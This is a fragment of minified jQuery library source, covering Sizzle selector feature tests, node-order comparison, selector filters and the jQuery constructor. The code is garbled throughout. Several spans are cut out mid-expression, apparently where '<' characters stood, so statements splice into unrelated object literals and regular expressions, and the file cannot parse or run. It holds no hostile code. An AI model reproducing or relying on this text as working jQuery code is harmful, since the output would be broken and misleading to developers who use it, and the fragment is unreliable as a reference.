o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if(void 0!==t.getElementsByClassName&&g)return t.getElementsByClassName(e)},y=[],v=[],(n.qsa=K.test(d.querySelectorAll))&&(ce(function(e){h.appendChild(e).innerHTML=" ",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+b+"-]").length||v.push("~="),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||v.push(".#.+[+~]")}),ce(function(e){e.innerHTML=" ";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(n.matchesSelector=K.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ce(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),y.push("!=",$)}),v=v.length&&new RegExp(v.join("|")),y=y.length&&new RegExp(y.join("|")),t=K.test(h.compareDocumentPosition),x=t||K.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},A=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?P(c,e)-P(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?P(c,e)-P(c,t):0;if(i===o)return pe(e,t);for(n=e;n=n.parentNode;)a.unshift(n);for(n=t;n=n.parentNode;)s.unshift(n);for(;a[r]===s[r];)r++;return r?pe(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0}),d},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),n.matchesSelector&&g&&!N[t+" "]&&(!y||!y.test(t))&&(!v||!v.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||void 0!==e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=se.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),D.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};function P(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,""," "],thead:[1,""],col:[2,""],tr:[2,""],td:[3,"